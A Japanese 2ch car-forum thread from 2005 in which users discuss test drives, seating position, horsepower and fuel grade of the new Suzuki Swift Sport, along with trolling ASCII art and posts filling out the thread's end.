今なら、良くて試乗の感想。旧スイスポの意見だとあんま参考にならないと思うし。
今ここで出てる以上の感想は期待するだけ無理。

ぶっちゃけ自分で試乗してみるのが良いと思う（それでどれだけの事が分かるかは別として）。

882 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:26:49 ID:0641UA8d0

湾岸厨はスレ違いだろ

883 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:28:29 ID:hyWOPnd50

近くのスズキのお店にはないお
まわったけど。

884 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:32:22 ID:K4oFLSTp0

874はルポGTIと比較して何たら文句言ってた奴だろ
どうせシビックにもルポにも乗ったことないスペック厨だから無視すれ

885 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:35:09 ID:3rkzr0V90

試乗してきたです〜　　　　ナンバーないから店の敷地内だけどﾅｰ
着座位置は高いけどそんなに気にならないけどﾅｰ
赤内装はそんなに気にならなかったけどﾅｰ
気になるといえばフロントバンパーのフォグライトの所なんだかﾅｰ
>>837　踏んだんだけど何かあるの？
とにかく自分はこの車を買うでしょう

886 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:35:48 ID:9tlfxSCW0

排ガス規制クリアするためにこんな平凡な数字になるんだったらスポーツなんて
名乗らなきゃいいんだよね。
背伸びして身の程に合わない事なんかしなくていいのに。

887 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:38:22 ID:/0pOkQz60

>>885
そ、それ、ウイルス注入・・

888 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:47:04 ID:uDQ1TUj40

>>885
PC内のエロ画像を強制的に壁紙にするウィルス
解除できない

889 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:47:16 ID:5dAbqUG50

ああ、あかん
着座位置高すぎ

今のアルトワークスからの乗換え候補だったが、それと比べると
アルトのシートにコンテナ乗せてその上に座ってるような感覚

低速の曲がりでも転がりそうになる錯覚に陥る
着座高低い車ばかり乗ってたから特に

890 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:51:48 ID:DoV4x/1z0

スペックｦﾀで一度試したいことがある。
同型車種のスペック違いを、目隠し状態で助手席に乗せて当てさせる。

多分正解できないと思うよ。
人間の感覚は意外と当てにならないから。

891 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:58:42 ID:sDcqduWV0

＞同型車種のスペック違いを、


？

892 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:01:30 ID:DoV4x/1z0

>>891
　たとえばインテグラのタイプRとタイプSのような、紛らわしいやつだよ。

893 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:04:36 ID:CpmQQM8H0

>>890
目隠し(*´д｀*)ﾊｧﾊｧ

894 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:06:56 ID:9tlfxSCW0

たぶん無理だろな。
スイフトとスイスポじゃあまりにも違いがなさすぎる。
開発者じゃないと判別するのは無理だと思う。

895 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:10:56 ID:laRbsMBD0

って乗ったんかい？君。

896 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:23:45 ID:REDgcAOx0

走ればどんなアホでも違いが分かるよ

897 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:23:51 ID:uDQ1TUj40

>>889
アルトワークスからじゃそう感じるだろうね
その違和感を感じなければ反対にがっかりするところだ

898 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:27:59 ID:d5cK4Yso0

馬力については、パワーがないのでこの車はダメだという人、もしくは煽っている
人が大勢いて、荒れたんだよ。（まだ続くのかな？）
だから、もうあまり触れたくないんだよね。
スイフトの良さは、
１５０万の中にスポーツを積めこんだことにあるんじゃないかな？
ダンパーとマフラーそしてエンジン内部まで手が入ったのって、この値段ではスイスポ
しかないでしょ。マーチは少し高いですよね。
日常の快適性やモトのスイフトの良い点を犠牲にしないで性能を引き上げた点も評価
できると思う。だから、着座位置が高いのも当然。
乗り降りし易いからね、運転だってしやすくなるし。
スポーツ＝着座位置が低いのは、性能だけを求めれば正しいけど、
そういう時代でもないんだろうと思う。
だから、エンジンもパワーよりもフラットなトルク重視になるんじゃないかな。
車の方が速く走れっていうんじゃなく、あくまでドライバーの意思を尊重できるクルマ。
ＡＴも用意されてるし。
インテのＳみたいな味付けと思う。
Ｒを期待している人はなんちゃってスポーツとかって言うかもしれないけど、
万人向けになってる以上、カリカリにはできなかっただろうね。
ちなみにアクセラの着座位置は低め（にもできる）です。重心はワイドボディーの
アクセラが有利かと・・・。

899 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:34:54 ID:T9GCjG4A0

着座位置低い車ってそもそも好きじゃない。
車高もあんまり低いのってどうも・・・ホンダ車みたいなのはイヤだな。
いまどき車高低いからかっこいいとかちょっと古いと思うし。

900 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:38:02 ID:CsGSQu030

老人とか乗せたりする場合は着座位置の高い車は喜ばれるよ

逆にロドスタとかRX-7とかは老人は乗れないだろうね（ｗ

901 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:46:08 ID:9wTTGJmj0

低いと風景が変わるよ。
その代わり事故らないように気を付けないと。
よそ見は駄目駄目。

902 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 20:49:22 ID:DoV4x/1z0

低いのがお好みだったらビートやカプチーノがﾏｼﾞｵｽｽﾒ。

903 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:03:34 ID:sDcqduWV0

ノーマル同士ならカプチーノなんて、ホンダのとだいと殆ど同じ視点の高さだし
大して低くないよ。

904 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:04:45 ID:Df74i5i+0

軽ミニバンのような景色の見やすい所がいいんじゃないか！
ロール多い？知るか！とりあえずヨーロッパ風の乗り味っぽくなったからパンピーにはウケがいいんだ！

905 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:05:06 ID:3rkzr0V90

もうスーパーカー買えよ
ロータスヨーロッパ低すぎ

906 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:13:35 ID:HAI/zPNI0

つAZ-1

907 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:23:37 ID:lfsqP4810

>882

125馬力に対してせめて150馬力だのなんだのって
いう厨への皮肉の意味ね
わかりにくくてスマソ、逝ってきます

908 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:35:05 ID:CsGSQu030

いいたいのはこんな平凡な数字しかだせないのになんで
ハイオク仕様猿人なんかにしたっていうことだろ？

わざわざ高いハイオク入れる意味ないじゃん

909 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:37:35 ID:qjhuvTr60

スイスポ乗りはミニサーキットとかいくの？？

910 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:39:30 ID:7sJdPMUW0

行くわけねえだろ。

911 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:44:18 ID:K4oFLSTp0

ミニサーキット楽しいよ
旧型乗りだけど。新型はコーナーがかなり良さ気なんで早く試乗してみたい

912 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:45:09 ID:REDgcAOx0

>>829

このデータってどの程度正確ですか？
ＭＴだと５速がかなり低いようだし、ＡＴだと４速がかなりハイのようですが。

913 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:48:05 ID:uDQ1TUj40

もう思い切ってエンジン性能、足廻りの試乗レポは
恥を忍んで欧州コンパクトスレ住人に依頼したほうがいいかもな
車メ板初の試みだがｗ

914 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 21:53:44 ID:qjhuvTr60

この程度の性能のエンジンしか作る能力がｒｙ

915 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:06:55 ID:QDXo4MyA0

低中回転スカスカのピークパワー重視の今までの日本車とは違うのだよ。
アクセル踏んだ時のツキがイイ。
あーこれが欧州オタの言っていることなのかとオモタよ。
街糊でも楽しい。

916 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:14:43 ID:LtLG9Kvc0

>>915
そんな車今時新車で日本にはありませんが？
今時の車は低回転でもトルクあるよ
フィットなんか2800rpmで最大トルクを発生してるじゃん
それもレギュラー仕様で

917 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:17:11 ID:9tlfxSCW0

本気で相手してやるなよ、妄想で語ってんだからｗ

918 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:20:11 ID:N5sbCSI70

>>814＝>>864　軽ベースHG？

919 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:32:04 ID:REDgcAOx0

>>916

乗ってもいないのに文句ばかり言うな　スペオタが

920 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:39:26 ID:LtLG9Kvc0

まあここは盲目な信者が多いから失礼するよ
>>908は素直な意見だと思うけどね

誰がみてもレギュラー仕様でも十分達成できる数字だもん
期待してただけにがっくりだね

921 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:44:34 ID:uDQ1TUj40

>>920
まあそう言うなよ…
乗り比べたらまたレポしてくれや

922 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:53:05 ID:9/GNRNWX0

馬力がどうこう言ってるやつは、
輸入車のスペック見てくることを勧める。
MINIとかな。技術がなくて出せないわけじゃないぞw
詐欺まがいの誇張スペよりいいだろ。
ま、鈴木も前科あるらしいが。

923 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 22:53:36 ID:T9GCjG4A0

ハイオク仕様なのって、欧州でもまったく同一の使用で売るためじゃないのかな？
ただ左ハンドルにする以外なんも変えなくてよくてコストかからないでしょ。

924 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:03:20 ID:REDgcAOx0

数値上のスペックの少ない欧州車が、実際に乗ってみると同スペックの
国産車よりも力があるなんて事は、良くある話しだね。

925 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:08:56 ID:9tlfxSCW0

日本車みたいに小手先の作りこみではないからね。
アウトバーンを100キロ以上のスピードで巡航できる安心感がある。。
出もしない220キロメーターを採用してるスイスポとは違う。

926 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:21:25 ID:+7DepT2o0

試乗してきたよ。
良かったのはスロットルがパーシャルな時のトルクのリニア感。昔、ランエボに
乗ってたんでそのへんわりと無頓着だったんだが、ゴルフGTIに乗り換えて
そこの重要性がよく分かった。スイスポはかなりイイ。大昔の愛車だった
サイバーCR-Xに似てる。ZCつながりってやつですか？関係ありませんね。
よろしくないのはステアリングインフォメーションの無さ。トヨタみてえ。
あと、前に乗ったノーマル1.3MTはシフトフィールがいまひとつだったんだが、
そこは改善されてるといいなあ。

927 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:24:22 ID:+7DepT2o0

>>925
>>アウトバーンを100キロ以上のスピードで巡航できる安心感がある。。
いや、たいがいの日本車だって高速を100キロ以上のスピードで巡航できる
安心感くらいあるだろ？いったい何に乗ってんだ？

928 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:25:41 ID:xVs5R87P0

スイスポのAT買うなら、アクセラの２L買った方が幸せになれる
値段も値引き考えたら一緒だし、レギュラーで150馬力だ
なんでスイスポはMTしか考えられない

929 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:29:49 ID:REDgcAOx0

アクセラを選ぶような人は、スイスポを選ばない
相変わらず馬力と大きさでしか車の価値が分からん人がいるね

930 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:30:16 ID:9tlfxSCW0

なんちゃって220キロメーターにはﾋﾟｸﾘとも反応しないのにレスの揚げ足ばっかとるんだよな。。。

931 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:31:38 ID:35CemEjn0

なんでも好きなの買えばいいけどアクセラの話したいんならスレ違い

932 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:33:23 ID:Df74i5i+0

スイスポ買う人が車の価値が分からないんだよな？

933 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:33:48 ID:twftJAWD0

>>925
年収サバ読んでるおまえと一緒だろ

934 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:37:58 ID:xVs5R87P0

>>929
選ぶだろう、どっちも欧州を意識した欧州で評価されてる
本格的スポーツコンパクトだ。俺はどっちも欲しい

935 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:38:07 ID:ucZPeUTf0

2ch初心者激増中につき
無法者がのさばっていますが
みなさん耐えましょう。

936 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:46:22 ID:0AUKYac00

で、結局ｶﾙﾀｽGT-iAより速くなったのか？

937 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:55:26 ID:yJESUQDZ0

>>935
いえてる（ｗ

938 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:57:08 ID:REDgcAOx0

今頃クラシックカーを出してどうするつもり？

939 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 23:59:10 ID:REDgcAOx0

>>935
>2ch初心者激増中につき

2ch初心者がまともな人間だぞ
2ch住人にはなりたくないﾜﾅ

940 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:06:37 ID:e6jwyFBF0

おまえｍ（ｒｙ

941 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:08:01 ID:YhCKx19F0

〜ラリージャパン記念モデル〜
・フロントバンパーは普通のスイフトと同じ
・ヘッドランプも普通のスイフトと同じ
・落ち着いた内装色
・ホイールは白のチュリニキット



こんなのほしいお

942 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:13:03 ID:oFQ2v3t/0

スイフト買えば？

943 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:16:02 ID:9tWsU/OB0

>>941
メーカーに期待しないで、自分で作ろう！
（現実実無いし）

944 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:22:26 ID:j16aPglB0

>>943
現実味ね

945 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:28:34 ID:9tWsU/OB0

>>944
ご指摘ありがとうございます。

946 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:32:12 ID:5L7Tovcz0

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947 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:33:06 ID:nzY7CROp0

ヘッドランプはOPT車選ばなければ同じじゃね？　
逆にOPT中でHIDだけ欲しい人がメチャ多そう

948 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:34:22 ID:pg/9AXaI0

>>900
俺が以前乗ってたSW２０は、死んだばーちゃんに低くて乗り易いと大好評だったよ

949 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:34:43 ID:5L7Tovcz0

このスレはあまりにくだらない内容のため閉鎖とさせていただきます。
長い間、ご利用ありがとうございました。

950 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:35:22 ID:5L7Tovcz0

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951 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:35:50 ID:Xtm2IsBh0

新装開店

952 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:37:13 ID:5L7Tovcz0

もうスイフトのスレはたてないでね

953 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:38:42 ID:5L7Tovcz0

　　 　　　∧_＿∧
　　 　　（ ´┏┓`） ＜スイフトは現役引退だな！
　　　　<￣￣ Ｖ￣/
　　　　 ﾉ￣￣ﾊ￣ヽつp==
　　　 ノ＿___丿ヽ＿ヽ
　　　　(_＿／ヽ＿_）

954 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:39:53 ID:5L7Tovcz0

　　　　　　　　　　　　　　　　　　 　 .／|￣￣|
　　　　　　　 　　　　　　 　 　 　 　 |　 |　 　 |
　　　　　　　　　 　 　 　 　　 　　 　| 　|　.∧＿∧
　　　　　　　 　　　　　　＿＿＿＿ | 　|　<　｀Д´>　＿＿＿　スイフト終わり
　　　　　　　　　　　.／ | 　　　　　ミ.　　/　(ヽ ./.）ヽ　　　　 | 残念。
　　　　　　　　　　　| 　 |＿＿_＿__ .　 （　　,＼＼i　| .__＿＿|
　　　　　　　　　　　| ／＿＿＿＿　 　　ヽ､,／＼_,,i　 彡 ／
　　　　　　　　　　　　　　　　　　　 | 　| /　　"　|　￣￣￣
　　　　　　　　　　　　　　　　　　　 | 　| i　　 ,　.|
　　　　　　　　　　　　　　　　　　　 | 　| .|　 .|　.|
　　　　　　　　　　　　　　　　　　　 | 　|　|　 i .ﾉ
　　　　　　　　　　　　　　　　　　　 | 　| /　ｲ/
　　　　　　　　　　　　　　　　　　　 | 　| |　//
　　　　　　　　　　　　　　　　　　　 | 　| | .|/
　　　　　　　　　　　　　　　　　　　 | 　|（　i　|
　 　　　　　　　　　 　 　.＿＿＿＿| 　|i し　|＿＿
　　　　　　　　　　　　　|＼.　 　 　 ＼ |し'＿|　　　＼

955 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:40:38 ID:nzY7CROp0

初心者とか軽ベースHGとか妬んでるのとか必死なんだな

956 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:40:39 ID:0y58blnM0

なんでこうも基地外が沸いて出て来るんだろうねぇ。

957 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:41:13 ID:/M2NADGl0

さあ残り全部 HGで埋めてくれ。

958 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:41:43 ID:0y58blnM0

その前に誰か新スレ立てれ。

959 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:42:11 ID:5L7Tovcz0

　 　ミﾐ ヽヽヽヽﾘﾘﾉﾉノノ
　　　　　ミ　　 ,,､,､,､,､,､,､,､､ 彡
　　　　　 l 　i''" 　　　　　　　i彡
　　　　　 |　」　　⌒'　'⌒　 ｜
　　　　 ,ｒ-/　　＜･>　< ･>　|
　　　 　l　 　　 　 ﾉ( ､_, )ヽ　|
　　　　　ｰ' 　　 ノ､＿_!!＿,.､|
　　 　　 ∧ 　　　 ヽニﾆｿ　 l　　　　　　＜スイスポスレは買収したから
　　　 ／＼ヽ 　 　　　　　　/
　　／ 　 　 ヽ.　 ｀ー--一' ノ/ヽ　　　 ノ７_,,, ､ 　　　＿＿＿＿＿＿
　/ 　　(⌒､"⌒ソ⌒ヽ─ '"　　 ｀､　 ( ｨ⌒ -'"",う／壱 ／ ／万:／|
　　　　　~''(_)(_)(_)(_)ソ　　　　　　 ヽノ　　　,イ^＿.|≡≡|__|≡≡|彡|＿＿＿＿＿
　　 　　ヽ/｀､＿, ｨ/　　 　　 　　　　 ヽ─/￣／／|≡≡|__|≡≡|／壱／／万 :／|
　　　　／ 　　　　/　　　　　　　　　　　) / ≡|__|≡|≡≡|__|≡≡|≡≡|__|≡≡|彡|
　　　　　　　　　 /　L i v e　d o o r 　i|≡≡|__|≡|≡≡|__|≡≡|≡≡|__|≡≡|彡|
　＼　　　　　　ノ　　　　　　 　　　　　　|≡≡|__|≡|≡≡|__|≡≡|≡≡|__|≡≡|彡|
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960 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:43:48 ID:5L7Tovcz0

　　　　 ∋oノハヽo∈
　＿　　　　(＾▽＾　)　　＜うんこスイスポ
◎ー）　　（つと　）、
　|　 | 　 / /⌒､ノ ,）　プリ
　~~~　　しし'￣￣ﾉ
　　　　..::::;;;;〉　　〈;;;;::::..
　　　::::::::::::ﾞﾞ'''''''''''"::::::::::::

961 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:44:05 ID:0y58blnM0

つまらんAAばっか貼っちゃってホント暇なんだな。

962 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 00:53:40 ID:nzY7CROp0

軽HGか素海苔っぽい

963 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 01:01:46 ID:/G0wlrg+0

そろそろスルーしようや
ｽｲﾌﾄが注目を集めてるんじゃなくてここの住人の釣られぶりが釣り師の注目を集めてるだけじゃないか…

964 名前：829：2005/09/26(月) 01:10:22 ID:t2boK6a80

>>854,>>912 レスthx
任意回転数×60×タイヤ径×π/最終減速比/1000/ギア比 あってるかな？
実際はタイヤの大きさ変わるし（普通重さで数cm小さく、高速ではそれよりちょっと大きく）
パワーロスや空気抵抗等でこれより遅くなります、ATはロスが大きいのでもっと遅くなると思います

>>735 で
まぁまぁ強めに踏んだら、セコンドで80kmオーバーしたよ。

とあったので気になって計算してみました、ATのトルクピーク付近で近い数字が出てますけど
うさんくさいので忘れてください(;´д`)

965 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 01:22:08 ID:lXGJwrYu0

>>836
ペダル位置については大井は初代にくらべて改善されたと言っていたが
それはフットレストのことだったのかorz

966 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 01:32:50 ID:+VdYYAJ30

>928
マツダのエンジンパワーないよ。スペック上はあるかもしれんが、
デミスポで箱根の登り坂のろくて頭きて、乗り換えようとアテンザ23ＳＭＴ試乗してみて
パワー感の無さとロードノイズの大きさに驚いたよ。
その後初代スイスポにしたが、ずっとパワー感あるよ。
やっぱり、パーシャル域のパワーが違うんじゃないかな。

さすがオートバイメーカーだけあって、エンジンの完成度には一日の長があるな。

967 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 01:38:26 ID:pGztobVv0

初代はスペック以上にパワー感じるよね
ほんと数字ってあてになんない

968 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 02:11:02 ID:sGIuWIMn0

ほい､次すれ

【スズキ】New スイフトスポーツ Part6
http://hobby7.2ch.net/test/read.cgi/auto/1127668189/

969 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 03:13:01 ID:2z2vsa8yO

ハイオク仕様って･･

前より､圧縮比が上げてあんだから しゃーねーじゃん！
チューニング猿人の 基 本 だよ

970 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 05:29:36 ID:maKREvLr0

梅

971 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 06:08:13 ID:dwJgmoO/0

>>929
俺も思う。
一応1500DOHCがあるみたいだけどね。

972 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 08:19:55 ID:aHgrFVMs0

偉大なるスイスポ

973 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 10:39:06 ID:fMTJ2UTnO

>>913
プントHGTｱﾊﾞﾙﾄ乗りだけど
スペックが比較的近いからMT試乗したら
スイスポスレに書くかも。

974 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 10:40:47 ID:fMTJ2UTnO

失敗・・・。
〇rz

975 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 10:45:07 ID:RGdQ+Rbp0

頭デカすぎ

976 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 11:00:32 ID:FgINvl1VO

卯女

977 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 11:23:11 ID:mXh/DMTt0

ミニ乗りの良く釣れる釣堀ですね。

978 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 12:24:15 ID:bTRuyDNb0

>>777 ランレボ？

鈴木さんが言うには，全世界の新スイフトの25%しか日本で走ってないっだって．けっこう外国じゃ売れてるんだな，スイフト．
それで，新スイスポはもういじるとこないからMCもないし，
三代目スイスポも作らず長いこと売るんだってさ．
そもそも別の車名（アクロス）だった新スイフトも同名の次モデルはなさそう．
いやー，反省点を活かしてMCくらいはしてくれよ．

979 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 15:16:04 ID:w0Mcx88f0

梅

980 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 18:13:29 ID:Dn0I90TU0

竹

981 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 18:52:40 ID:xYIGp3/A0

冬ボー上がれ！埋め

982 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 19:30:27 ID:EBswrjCL0

>>978
お色直しや追加はあるのではないでしょうか
３ドア追加とか、内装色の追加とか

983 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 19:34:17 ID:3IHlwSzm0

黄色かグレーか迷うのう。
オレンジがあれば迷わなかったんだが。

984 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 19:42:03 ID:t4SwG65C0

>>978
ランエボにロータリー積んだら革命的って意味でわ？（ｗ

985 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:01:50 ID:LJRnXI5s0

アルファのハッチバックに乗っていますが、
コンパクトへの乗り換えを検討してます。
スイスポに試乗の機会があればレポートしますよ。
実は結構期待してたりします。ﾜｸﾜｸ

986 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:14:16 ID:EBswrjCL0

>>985
官能性ではかなりアルファには劣るかもしれませんが
貴重なご意見、お待ちしております

987 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:15:59 ID:9Im9g93g0

>>978
全世界の２５パーセントしか？　もじゃないか？

988 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:17:36 ID:lpLwXd0y0

「も」だよなぁ。
どう考えても。

989 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:35:40 ID:/Cp4Xopn0

クレクレタコラなGMが「シボレーブランドで売ってやるからライン数本回せ」
とか言ってきそうな勢いだな。シボレースプリントとして売るかもな。

990 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:41:14 ID:Xtm2IsBh0

ちっちゃいシボレーは欲しくないな

「俺の車シボレーだぜ」
「えーマジかよすげー！！見せてくれよ」
「これだよ」
「・・・ちいさっ！！」

991 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:51:42 ID:lpLwXd0y0

じゃぁスイスポにV8、5000しーしーとか積もうぜ！

992 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:52:44 ID:/Cp4Xopn0

「俺の車シボレーだぜ」
「リッター5km走る？」
「4kmくらい・・・」

993 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:54:30 ID:aHgrFVMs0

チョイノリの2馬力のエンジンで十分

994 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 20:56:38 ID:gzTfIpWL0

米軍基地内で警備がセグウェイ乗ってたが、かなり良さ気だったぞ

995 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 21:18:37 ID:ij9nvkOb0

999

996 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 21:20:09 ID:LJRnXI5s0

>>986
ノーマルスイフト、1.3ATには乗りました。
ステアリングインフォメーションがとても希薄だったのが気になっています。
スイスポでは良くなっているといいんですが。

997 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 21:21:05 ID:xYIGp3/A0

>>994
いいなーゼグウェイ・・・

998 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 21:24:22 ID:gzTfIpWL0

>>997
一般公開の日に見たんだけどね
ちょっと想像してみ、ムチャクチャ体格ががいい黒人にーちゃんがグラサンに上下黒の迷彩？に、実弾装填済み（！）のM4
背負ってセグウェイでその場旋回したり写真サービスに応じてたんだぞ？ｗ

999 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 21:31:45 ID:xYIGp3/A0

>>998
それでもいいから見たかった
いやむしろソレ見たいｗ

1000 名前：名無しさん＠そうだドライブへ行こう：2005/09/26(月) 21:32:45 ID:xYIGp3/A0

1000だったら冬ボーで購入決定

1001 名前：１００１：Over 1000 Thread

　　　ﾌﾟｽﾝ･･･

　　　　∬　 ＿＿＿　∧ ∧　　　　このスレッドは1000キロ走り切りました。
　　　　∫／＿＿_/|（´Д｀；）＿　　給油をして下さいです。。。
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